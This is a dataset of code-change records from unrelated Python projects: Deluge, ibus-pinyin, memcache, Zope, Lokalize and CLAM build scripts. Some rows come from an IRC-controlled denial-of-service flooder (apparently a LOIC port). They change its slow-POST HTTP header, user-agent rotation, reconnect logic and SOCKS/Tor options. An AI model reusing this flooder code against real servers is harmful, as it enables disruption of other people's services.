rem stringlengths 0 322k | add stringlengths 0 2.05M | context stringlengths 8 228k |
|---|---|---|
log.debug("MANAGEDPAUSE [TORRENT ADDED]: paused new torrent, %s" % torrent.get_status(["name"])) | log.debug("MANAGEDPAUSE [TORRENT ADDED]: paused new torrent, %s" % torrent.get_status(["name"]).get("name", "NO NAME")) | def on_torrent_added(self, torrent_id): # Apply current scheduling rule to new torrent state = self.get_state() torrent = component.get("TorrentManager").torrents[torrent_id] # only apply the pause action to avoid interfering with the user option # 'add torrent as paused' if state == "Red": log.debug("MANAGEDPAUSE [TO... |
if t.options["auto_managed"] and (not self.config["ignore_seeding"] or t.state != "Seeding"): if active: t.resume() else: t.pause() | if t.options["auto_managed"]: if not self.config["ignore_seeding"] or not ( t.state == "Seeding" or (t.state == "Queued" and t.get_status(["progress"]).get("progress", 0) >= 100)): if active: t.resume() else: t.pause() | def _set_managed_torrents_state(self, active): """ Sets all auto-managed torrents to the state specfied in active, i.e. either running, or paused. """ |
log.debug("MANAGEDPAUSE [TORRENT ADDED]: paused new torrent, %s" % torrent.get_status(["name"])[0]) | log.debug("MANAGEDPAUSE [TORRENT ADDED]: paused new torrent, %s" % torrent.get_status(["name"])) | def on_torrent_added(self, torrent_id): # Apply current scheduling rule to new torrent state = self.get_state() torrent = component.get("TorrentManager").torrents[torrent_id] # only apply the pause action to avoid interfering with the user option # 'add torrent as paused' if state == "Red": log.debug("MANAGEDPAUSE [TO... |
if not id: | if question is None: | def buildProfile(self, input, survey, session): idmap={} for profilequestion in survey.values(): if not IProfileQuestion.providedBy(profilequestion): continue idmap[profilequestion.external_id]=profilequestion if not idmap: return ({}, {}) |
print name,val | def __set_value(self, name, val): self.__config.set_value(self.__config_namespace, name, val) print name,val | |
datadir = os.getenv("IBUS_DATAROOTDIR") or "/usr/share/ibus-pinyin" src = os.path.join(datadir, "phrases.txt") | datadir = os.getenv("IBUS_DATAROOTDIR") or "/usr/share" src = os.path.join(datadir, "ibus-pinyin", "phrases.txt") | def __edit_special_phrases_clicked_cb(widget): from xdg import BaseDirectory import shutil path = os.path.join(BaseDirectory.xdg_config_home, "ibus", "pinyin") os.path.exists(path) or os.makedirs(path) path = os.path.join(path, "phrases.txt") if not os.path.exists(path): datadir = os.getenv("IBUS_DATAROOTDIR") or "/usr... |
self.__incomplete_bopomofo.set_active(self.__get_value("IncompleteBopomofo", False)) | self.__incomplete_bopomofo.set_active(self.__get_value("IncompletePinyin", False)) | def __init_bopomofo(self): # page Bopomodo Mode self.__page_bopomofo_mode.show() # bopomofo self.__bopomofo_keyboard_mapping = self.__builder.get_object("BopomofoKeyboardMapping") self.__incomplete_bopomofo = self.__builder.get_object("IncompleteBopomofo") renderer = gtk.CellRendererText() self.__bopomofo_keyboard_map... |
self.__incomplete_bopomofo.connect("toggled", self.__toggled_cb, "IncompleteBopomofo") | self.__incomplete_bopomofo.connect("toggled", self.__toggled_cb, "IncompletePinyin") | def __bopomofo_keyboard_mapping_changed_cb(widget): self.__set_value("BopomofoKeyboardMapping", widget.get_active()) |
yield s1 + w, s2, c, len(s2) + len(w), ["%s | %s" % (flag, flag_correct)] | yield s1 + w, s1, c, len(s2) + len(w), ["%s | %s" % (flag, flag_correct)] | def get_pinyin(): for p in pinyin_list: s, y = get_sheng_yun(p) yield p, s, y, len(p), [] for s in shengmu_list: yield s, s, "", len(s), ["PINYIN_INCOMPLETE_PINYIN"] for c, w in auto_correct: flag = "PINYIN_CORRECT_%s_TO_%s" % (w.upper(), c.upper()) for p in pinyin_list: if p.endswith(c) and p != c: wp = p.replace(c,... |
print ' | def gen_tables(): pinyins = list(get_pinyin_with_fuzzy()) pinyins = union_dups(pinyins) print 'static const Pinyin pinyin_table[] = {' for i, p in enumerate(pinyins): args = (i, ) + tuple(['"%s"' % s for s in p[:3]]) + tuple(["PINYIN_ID_%s" % s.upper() if s else "PINYIN_ID_ZERO" for s in p[3:9]]) + p[9:-1] + (str(p[-... | |
print ' | def gen_full_pinyin_table(pinyins): _dict = {} for i in xrange(0, len(pinyins)): _dict[pinyins[i]] = i full_pinyin = [] for i in xrange(0, len(pinyins)): if pinyins[i][0] in pinyin_list: full_pinyin.append (pinyins[i]) full_pinyin.sort(lambda a, b: (cmp(a[1], b[1]) << 16) + cmp(a[2],b[4])) print 'static const Pinyin *f... | |
print ' | def gen_special_table(pinyins): _dict = {} for i in xrange(0, len(pinyins)): _dict[pinyins[i][0]] = i l = list(compaired_special()) l.sort() print 'static const Pinyin *special_table[][4] = {' for r in l: ids = [("&pinyin_table[%d]," % _dict[py]).ljust(20) for py in r] print ' { %s %s %s %s },' % tuple(ids), "/* ... | |
import sys for arg in sys.argv: if arg.upper() in ['DEBUG_LOG']: f = open('debug.log', 'w+') sys.stderr = f sys.stdout = f | ParseArgument() import wx import os import App import user import anim import util from SudokuBoxer import MainFrame _ = wx.GetTranslation | def SetDefaultLanguage(): lang = util.config.get('LANG', 'language', 'ENU') App.locale.AddCatalogLookupPathPrefix('.\\lang') App.locale.AddCatalog(lang) #first launch if not os.path.exists(util.CONFIG_FILE): sup_lang = [ 'CHT', 'ENU' ] trans_sup_lang = [ _(w) for w in sup_lang ] dlg = wx.SingleChoiceDialog(None, _('Cho... |
raise _Error("received compressed data but I don't support compession (import error)") | raise _Error("received compressed data but I don't support compression (import error)") | def decompress(val): raise _Error("received compressed data but I don't support compession (import error)") |
if not m: m = re.match(r'^(?P<host>[^:]+):(?P<port>[0-9]+)$', host) | if not m: m = re.match(r'^(?P<host>[^:]+)(:(?P<port>[0-9]+))?$', host) | def __init__(self, host, debug=0): self.debug = debug if isinstance(host, tuple): host, self.weight = host else: self.weight = 1 |
if line.strip() =='NOT_FOUND': return None | if line == None or line.strip() =='NOT_FOUND': return None | def _incrdecr(self, cmd, key, delta): self.check_key(key) server, key = self._get_server(key) if not server: return 0 self._statlog(cmd) cmd = "%s %s %d" % (cmd, key, delta) try: server.send_cmd(cmd) line = server.readline() if line.strip() =='NOT_FOUND': return None return int(line) except socket.error, msg: if isinst... |
if line[:5] == 'VALUE': | if line and line[:5] == 'VALUE': | def _expect_cas_value(self, server, line=None): if not line: line = server.readline() |
if not line: return (None, None, None) if line[:5] == 'VALUE': | if line and line[:5] == 'VALUE': | def _expectvalue(self, server, line=None): if not line: line = server.readline() if not line: return (None, None, None) |
def get_stats(self): | def get_stats(self, stat_args = None): | def get_stats(self): '''Get statistics from each of the servers. |
s.send_cmd('stats') | if not stat_args: s.send_cmd('stats') else: s.send_cmd('stats ' + stat_args) | def get_stats(self): '''Get statistics from each of the servers. |
except getopt.GetoptError: | except (ValueError, IndexError): | def main(args): global irc, flooder, socks5ip, socks5port getEventManager().addListener(LAZER_RECV, lazerParseHook) getEventManager().addListener(START_LAZER, lazerStartHook) getEventManager().addListener(IRC_RESTART, restartIRCHook) try: host = args[1] port = int(args[2]) channel = args[3] if len(args[4:]): try: opt... |
global status, flooder, targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed | global status, flooder, targetip, timeout, subsite, message, port, method, threads, wait, random, speed | def lazerStartHook(event): global status, flooder, targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed print "FIRING MAH LAZ000000R!" if status == START: if flooder != None: flooder.stop() if (targetip == None and targethost == None) or port == None: print "no target set" return... |
if (targetip == None and targethost == None) or port == None: | if targetip == None or port == None: | def lazerStartHook(event): global status, flooder, targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed print "FIRING MAH LAZ000000R!" if status == START: if flooder != None: flooder.stop() if (targetip == None and targethost == None) or port == None: print "no target set" return... |
host = None if targetip == None: host = targethost else: host = targetip flooder = Flooder(host, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport) | flooder = Flooder(targetip, port, timeout, method, threads, subsite, message, random, wait, srchost, srcport) | def lazerStartHook(event): global status, flooder, targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed print "FIRING MAH LAZ000000R!" if status == START: if flooder != None: flooder.stop() if (targetip == None and targethost == None) or port == None: print "no target set" return... |
if string[0] == "PING": | if string.find("PING") == 0: | def parseIRCString(self, event): string = event.arg if string[0] == "PING": self.socket.send("PONG" + string[5:]) print "PONG", string[5:] elif string[0] == ":": #print string info = string.split(" ") if info[1] == "PRIVMSG" and info[2] == self.channel: if len(info) > 4 and info[3].lower() == ":!lazer": name = info[0][... |
if host == "127.0.0.1" or host == "localhost": | if socket.gethostbyname(host).split('.')[0] == '127': | def __init__(self, host, port, timeout, method, threads, subsite, message, Random, wait, srchost, srcport, socks5ip, socks5port): self.host = host self.port = port self.timeout = timeout self.method = method self.threadsAmount = threads self.__processes = [] self.wait = wait self.subsite = subsite self.message = messag... |
self.initsuccess = False | def __init__(self, host, port, timeout, method, threads, subsite, message, Random, wait, srchost, srcport, socks5ip, socks5port): self.host = host self.port = port self.timeout = timeout self.method = method self.threadsAmount = threads self.__processes = [] self.wait = wait self.subsite = subsite self.message = messag... | |
"User-Agent: XPN HTTP DOS Tester\r\n" | "User-Agent: %s\r\n" | def sendHTTPHeader(self): self.socket.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: XPN HTTP DOS Tester\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 100000000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host)) #print "thread", self.id, "send header" |
"Content-Length: 100000000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host)) | "Content-Length: 10000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, self.useragents[random.randrange(1,12)])) | def sendHTTPHeader(self): self.socket.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: XPN HTTP DOS Tester\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 100000000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host)) #print "thread", self.id, "send header" |
self.socket.send("X") while self.running: time.sleep(1) | def run(self): try: while self.running: while self.running: try: self.socket.connect((self.host, self.port)) #print "thread", self.id, "connected" break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break #print "Couldn't connect:", e.args, self.host, self.port time.sleep(1) continue break | |
self.socket.send(self.message) | bytes = self.socket.send(self.message) print "thread", self.id, "has sent", bytes, "bytes" | def run(self): while self.running: while self.running: try: self.socket.connect((self.flooder.host, self.flooder.port)) print "thread", self.id, "connected" break except Exception as e: if e.args[0] == 106: break print "Couldn't connect:", e.args, self.flooder.host, self.flooder.port time.sleep(1) continue break |
if e.args[0] == 32: | if e.args[0] == 32 or e.args[0] == 104: print "thread", self.id ,"connection broken, retrying." self.socket = socket.socket() | def run(self): while self.running: while self.running: try: self.socket.connect((self.flooder.host, self.flooder.port)) print "thread", self.id, "connected" break except Exception as e: if e.args[0] == 106: break print "Couldn't connect:", e.args, self.flooder.host, self.flooder.port time.sleep(1) continue break |
print "Usage: pyloic <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" | print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" | def main(args): global irc, flooder, socks5ip, socks5port listener = Listener(LAZER_RECV, lazerParseHook) getEventManager().addListener(listener) listener = Listener(START_LAZER, lazerStartHook) getEventManager().addListener(listener) listener = Listener(IRC_RESTART, restartIRCHook) getEventManager().addListener(liste... |
print "usage: pyloic <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" | print "Usage: python main.py <hivemind irc server> <irc port> <irc channel> [--tor] [--socks5=ip:port]" | def main(args): global irc, flooder, socks5ip, socks5port listener = Listener(LAZER_RECV, lazerParseHook) getEventManager().addListener(listener) listener = Listener(START_LAZER, lazerStartHook) getEventManager().addListener(listener) listener = Listener(IRC_RESTART, restartIRCHook) getEventManager().addListener(liste... |
self.socket.send("PART %s\r\n", self.channel) self.socket.send("JOIN %s\r\n", newchannel) | self.socket.send("PART %s\r\n" % self.channel) self.socket.send("JOIN %s\r\n" % newchannel) | def changeChannel(self, newchannel): self.socket.send("PART %s\r\n", self.channel) self.socket.send("JOIN %s\r\n", newchannel) self.channel = newchannel |
data['conflicts-total'] = Zope2.App.startup.conflict_errors | data['conflicts-total'] = get_conflictInfo().conflict_errors | def munin(self): """Return munin-compatible statistic data.""" data = {} # Uptime # ... in seconds since startup data['uptime'] = int(time.time())-self.Control_Panel.process_start # Reference counts # ... total number of objects referenced data['refcount-total'] = get_refcount(self) main_db = self.Control_Panel.Data... |
data['conflicts-unresolved'] = Zope2.App.startup.unresolved_conflict_errors | data['conflicts-unresolved'] = get_conflictInfo().unresolved_conflict_errors | def munin(self): """Return munin-compatible statistic data.""" data = {} # Uptime # ... in seconds since startup data['uptime'] = int(time.time())-self.Control_Panel.process_start # Reference counts # ... total number of objects referenced data['refcount-total'] = get_refcount(self) main_db = self.Control_Panel.Data... |
ctx = RequestContext(reqeust) | ctx = RequestContext(request) | def wrapper(request, *args, **kwargs): output = func(request, *args, **kwargs) if not isinstance(output, dict): return output else: ctx = RequestContext(reqeust) return render_to_response(template, output, context_instance=ctx) |
potModifSeconds=os.path.getmtime(potForPo(files[0])) | potModifSeconds=os.path.getmtime(pot) | def merge(): if Lokalize.projectOverview(): files=Lokalize.projectOverview().selectedItems() elif Editor.isValid(): files=[Editor.currentFile()] forms = Kross.module("forms") if not files: return if files[0].endswith('.po'): mergeOne=mergeOneGettext if os.system('which msgmerge')!=0: forms.showMessageBox("Err... |
print 'svn --set-depth files up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, lang) os.system('svn --set-depth files up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, lang)) self.reportProgress(5) os.system('svn --set-depth infinity up "%s/trunk/l10n-kde4/%s/docs"' % (localsvnroot, lang)) self.reportProgress(30) for langlang in... | for langlang in [lang, lang[:2]]: print 'svn --set-depth files up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, langlang) os.system('svn --set-depth files up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, langlang)) os.system('svn --set-depth files up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, langlang)) self.reportProgress(5) o... | def validatePage(self): if self.existing.isChecked(): return True if os.system('which svn')!=0: KMessageBox.error(self,i18n("Please install 'subversion' package\nto have Lokalize download KDE translation files."),i18n("Subversion client not found")) return False |
self.reportProgress(30) | os.system('svn --set-depth infinity up "%s/trunk/l10n-kde4/%s/messages"' % (localsvnroot, langlang)) self.reportProgress(15) | def validatePage(self): if self.existing.isChecked(): return True if os.system('which svn')!=0: KMessageBox.error(self,i18n("Please install 'subversion' package\nto have Lokalize download KDE translation files."),i18n("Subversion client not found")) return False |
self.reportProgress(30) | os.system('svn --set-depth infinity up "%s/trunk/l10n-kde4/%s/docmessages"' % (localsvnroot, langlang)) self.reportProgress(15) os.system('svn --set-depth infinity up "%s/trunk/l10n-kde4/%s"' % (localsvnroot, langlang)) | def validatePage(self): if self.existing.isChecked(): return True if os.system('which svn')!=0: KMessageBox.error(self,i18n("Please install 'subversion' package\nto have Lokalize download KDE translation files."),i18n("Subversion client not found")) return False |
self.existingLocation.setUrl(KUrl("%s/trunk/l10n-kde4/%s" % (localsvnroot, lang))) | def validatePage(self): if self.existing.isChecked(): return True if os.system('which svn')!=0: KMessageBox.error(self,i18n("Please install 'subversion' package\nto have Lokalize download KDE translation files."),i18n("Subversion client not found")) return False | |
download(downloadUri % subst) extractSource(subst['tarball']) | if not skipDownload : download(downloadUri % subst) | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, checkout = None, # checkout command line ) : stage("Module %s"%name) subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = n... |
""" -no-phonon-backend """ | def buildAll() : for name in packageOrder : build(name) | |
installedLib = env.Install(os.path.join(env['prefix'],'lib'), lib) | installedLib = env.Install(os.path.join(env['prefix_for_packaging'],'lib'), lib) | def ClamModule(env, moduleName, version, description="", url='http://clam-project.org', clamDependencies=[], otherDependencies=[], sources=[], headers=[], ) : try: env.PkgConfigFile except : env.Tool('pc', toolpath=[os.path.dirname(__file__)]) crosscompiling = env.get('crossmingw') windowsTarget = sys.platform == 'win... |
env.Install(os.path.join(env['prefix'],'lib','clam'), plugin), env.Install(os.path.join(env['prefix'],'lib','pkgconfig'), pcfile), env.Install(os.path.join(env['prefix'],'include','CLAM',moduleName), headers), | env.Install(os.path.join(env['prefix_for_packaging'],'lib','clam'), plugin), env.Install(os.path.join(env['prefix_for_packaging'],'lib','pkgconfig'), pcfile), env.Install(os.path.join(env['prefix_for_packaging'],'include','CLAM',moduleName), headers), | def ClamModule(env, moduleName, version, description="", url='http://clam-project.org', clamDependencies=[], otherDependencies=[], sources=[], headers=[], ) : try: env.PkgConfigFile except : env.Tool('pc', toolpath=[os.path.dirname(__file__)]) crosscompiling = env.get('crossmingw') windowsTarget = sys.platform == 'win... |
env.LinkerNameLink( os.path.join(env['prefix'],'lib',linkname), installedLib), env.SonameLink( os.path.join(env['prefix'],'lib',soname), installedLib), | env.LinkerNameLink( os.path.join(env['prefix_for_packaging'],'lib',linkname), installedLib), env.SonameLink( os.path.join(env['prefix_for_packaging'],'lib',soname), installedLib), | def ClamModule(env, moduleName, version, description="", url='http://clam-project.org', clamDependencies=[], otherDependencies=[], sources=[], headers=[], ) : try: env.PkgConfigFile except : env.Tool('pc', toolpath=[os.path.dirname(__file__)]) crosscompiling = env.get('crossmingw') windowsTarget = sys.platform == 'win... |
if not skipDeploy : download(downloadUri % subst) extractSource(subst['tarball']) patches = glob.glob(scriptRelative("mingw-"+name+"*.patch")) patches.sort() for patch in patches : applyPatch(subst['srcdir'], patch, level=1) | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, checkout = None, # checkout command line ) : stage("Module %s"%name) subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = n... | |
""" CPPFLAGS='-I%(prefix)s/include' """ """ LDFLAGS='-L%(prefix)s/lib' """ """ DLLTOOL=%(target)s-dlltool """ """ OBJDUMP=%(target)s-objdump """ """ AS=%(target)s-as """ """ ./configure --host='%(target)s' --prefix='%(prefix)s' --enable-shared && """ | def buildAll() : for name in packageOrder : build(name) | |
package( "lv2core", uri = "http://lv2plug.in", deps = "", checkVersion = """ wget -q -O- 'http://lv2plug.in/spec/?C=M;O=D' | """ """ grep lv2core | """ """ grep -v sig | """ """ grep -v pre | """ """ sed -n 's,.*>lv2core-\(.*\)\.tar.[^<]*<.*,\\1,p' | """ """ head -n 1 """, tarballName = "%(name)s-%(version)s.tar.bz2", ... | def buildAll() : for name in packageOrder : build(name) | |
""" echo Package %(name)s done.""" | def buildAll() : for name in packageOrder : build(name) | |
""" -L'%(prefix)s/lib' """ | def buildAll() : for name in packageOrder : build(name) | |
sources = source if type(source) == type([]) else getClientInputPorts(source) targets = target if type(target) == type([]) else getClientOutputPorts(target) | sources = source if type(source) == type([]) else getClientOutputPorts(source) targets = target if type(target) == type([]) else getClientInputPorts(target) | def bus_connect(source, target): """ Connects two lists of ports. The arguments can be a list or a string. If the latter, all the available ports of the client will be used. """ sources = source if type(source) == type([]) else getClientInputPorts(source) targets = target if type(target) == type([]) else getClientOutpu... |
PKG_CONFIG_LIBDIR = "/usr/%s/lib/pkgconfig"%target PKG_CONFIG_PATH = os.path.join(prefix, 'lib', 'pkgconfig'), ) if 0 : buildPackage( "pthread", | PKG_CONFIG_LIBDIR = "/usr/%s/lib/pkgconfig"%target, PKG_CONFIG_PATH = os.path.join(prefix, 'lib', 'pkgconfig'), ) if 1 : buildPackage( "pthread", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "fftw", | if 1 : buildPackage( "fftw", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( 'libmad', | if 1 : buildPackage( 'libmad', | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "id3lib", | if 1 : buildPackage( "id3lib", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libogg", | if 1 : buildPackage( "libogg", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libvorbis", | if 1 : buildPackage( "libvorbis", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libiconv", | if 1 : buildPackage( "libiconv", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "flac", | if 1 : buildPackage( "flac", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libsndfile", | if 1 : buildPackage( "libsndfile", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "speex", | if 1 : buildPackage( "speex", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "liblo", | if 1 : buildPackage( "liblo", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "cppunit", | if 1 : buildPackage( "cppunit", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "dlfcn-win32", | if 1 : buildPackage( "dlfcn-win32", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "boost", | if 1 : buildPackage( "boost", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "ladspa-sdk", | if 1 : buildPackage( "ladspa-sdk", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "directx", | if 1 : buildPackage( "directx", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "portaudio", | if 1 : buildPackage( "portaudio", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "xerces-c", | if 1 : buildPackage( "xerces-c", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libsigc++", | if 1 : buildPackage( "libsigc++", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "gettext", | if 1 : buildPackage( "gettext", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "libxml2", | if 1 : buildPackage( "libxml2", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
if 0 : buildPackage( "zlib", | if 1 : buildPackage( "zlib", | def buildPackage(name, uri, checkVersion, downloadUri, tarballName, buildCommand, srcdir=None, deps="", pinnedVersion = None, ) : print "Module:", name subst = dict( sandbox = sandbox, prefix = prefix, target = target, sfmirror = sfmirror, apachemirror = apachemirror, name = name, pinned = pinnedVersion if pinnedVersio... |
def locateQt4Command(env, command, qtdir) : | def locateQt4Command(env, command) : qtdir = env.subst(env['QTDIR']) | def locateQt4Command(env, command, qtdir) : suffixes = [ '-qt4', '-qt4.exe', '4', '4.exe', '', '.exe', ] triedPaths = [] for suffix in suffixes : fullpath = os.path.join(qtdir,'bin',command + suffix) if os.access(fullpath, os.X_OK) : return fullpath triedPaths.append(fullpath) |
QT4_BINPATH = os.path.join('$QTDIR', 'bin'), | def locateQt4Command(env, command, qtdir) : suffixes = [ '-qt4', '-qt4.exe', '4', '4.exe', '', '.exe', ] triedPaths = [] for suffix in suffixes : fullpath = os.path.join(qtdir,'bin',command + suffix) if os.access(fullpath, os.X_OK) : return fullpath triedPaths.append(fullpath) | |
QT4_MOC = locateQt4Command(env,'moc', env['QTDIR']), QT4_UIC = locateQt4Command(env,'uic', env['QTDIR']), QT4_RCC = locateQt4Command(env,'rcc', env['QTDIR']), QT4_LUPDATE = locateQt4Command(env,'lupdate', env['QTDIR']), QT4_LRELEASE = locateQt4Command(env,'lrelease', env['QTDIR']), | QT4_MOC = locateQt4Command(env,'moc'), QT4_UIC = locateQt4Command(env,'uic'), QT4_RCC = locateQt4Command(env,'rcc'), QT4_LUPDATE = locateQt4Command(env,'lupdate'), QT4_LRELEASE = locateQt4Command(env,'lrelease'), | def locateQt4Command(env, command, qtdir) : suffixes = [ '-qt4', '-qt4.exe', '4', '4.exe', '', '.exe', ] triedPaths = [] for suffix in suffixes : fullpath = os.path.join(qtdir,'bin',command + suffix) if os.access(fullpath, os.X_OK) : return fullpath triedPaths.append(fullpath) |
self._result += '\tLoadConfig(*_%s_config,\n'%formattedId | self._result += '\tloadConfig(*_%s_config,\n'%formattedId | def processing(self, id, type, position="(10,10)", size="(10,10)") : formattedId = self._formatId(id) self._result += '\tProcessing & _%s = network.AddProcessing("%s", "%s");\n'%( formattedId, id, type) self._result += '\tProcessingConfig * _%s_config = dynamic_cast<ProcessingConfig *>( _%s.GetConfig().DeepCopy()) ;\n'... |
void LoadConfig(ProcessingConfig & config, const std::string & xmlContent) { std::istringstream os(xmlContent); CLAM::XMLStorage::Restore(config, os); } | def getCode(self, name="NetworkFiller") : return ("""\ | |
